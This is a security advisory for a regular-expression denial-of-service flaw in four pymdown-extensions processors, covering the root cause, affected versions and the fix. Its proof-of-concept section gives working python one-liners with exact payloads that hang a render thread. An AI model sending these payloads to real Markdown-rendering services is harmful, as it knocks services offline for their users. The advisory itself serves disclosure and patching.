high · 7.5CVE-2026-67422Aug 7, 2026

CVE-2026-67422: pymdown-extensions ReDoS in caret, tilde, betterem, and magiclink

Rohit Hatagale
AI Security Researcher, SecureLayer7

Four default-enabled inline processors in pymdown-extensions contain regular expressions that catastrophically backtrack on untrusted Markdown input under 50 bytes, letting any remote user pin a…

Packagepymdown-extensions
Ecosystempip
Affected<= 11.0.0
Fixed in11.0.1
CVE-2026-67422: pymdown-extensions ReDoS in caret, tilde, betterem, and magiclink

The problem

pymdown-extensions versions up to and including 11.0 ship four inline processors (caret, tilde, betterem, magiclink) whose content-group regular expressions allow a run of delimiter characters to be partitioned in exponentially many ways. When no valid closing delimiter can be found, Python's re engine explores every partition before failing.

All four fire in the library's default configuration and are reachable through the public markdown.markdown() API. A sub-50-byte Markdown line is sufficient: timing grows by roughly 17x for every 6-byte increment, reaching a full hang (>5 s) around 47-49 bytes.

Any app that renders user-supplied Markdown with these extensions enabled is exposed to a denial-of-service where one request pins one render thread indefinitely.

Proof of concept

A working proof-of-concept for CVE-2026-67422 in pymdown-extensions, with the exact payload below.

bash
# caret (pymdownx.caret) -- unclosed superscript with a run of carets
python -c "
import markdown
# ~47 bytes: 'a' followed by 44 carets then 'b' -- no valid closer, engine backtracks exponentially
markdown.markdown('^a' + '^'*44 + 'b', extensions=['pymdownx.caret'])
"

# tilde (pymdownx.tilde)
python -c "
import markdown
markdown.markdown('~a' + '~'*44 + 'b', extensions=['pymdownx.tilde'])
"

# betterem (pymdownx.betterem, default smart_enable='underscore')
python -c "
import markdown
markdown.markdown('_a' + '_'*44 + 'b', extensions=['pymdownx.betterem'])
"

# magiclink (pymdownx.magiclink) -- run of dots after host prefix
python -c "
import markdown
markdown.markdown('http://a' + '.'*40 + ' ', extensions=['pymdownx.magiclink'])
"

The caret/tilde/betterem patterns share the same vulnerable shape: a content group (?:[^\^\s]|\^{2,})+? where a run of k delimiter characters can be split into pieces of length >=2 in an exponential number of ways. The +? (lazy plus) forces the engine to try every partition before admitting failure on an unclosed delimiter.

This {2,} branch was introduced by the emphasis-pattern rewrite in PR #2547 (first released in v10.13); earlier versions used a linear (.+?) group.

The magiclink pattern has an analogous long-standing ambiguity in its host subexpression, where both \. and [-\w.] inside a (?:...)* repetition can match a ., giving exponentially many groupings for a run of dots with no valid URL terminus. The fix (commit c68498598d7b) restructures all four content groups so a delimiter run has exactly one parse, removing the partition ambiguity.

CWE-1333 (Inefficient Regular Expression Complexity).

The fix

Upgrade to pymdown-extensions 11.0.1 (pip install 'pymdown-extensions>=11.0.1'). The patch commit c68498598d7b rewrites the content groups in caret.py, tilde.py, betterem.py, and magiclink.py to eliminate the partition ambiguity. If an immediate upgrade is not possible and you render untrusted Markdown, wrap each call in a per-request CPU timeout (e.g., signal.setitimer) and disable the affected extensions until you can patch.

Reporter not attributed.

References: [1][2][3][4]

Related research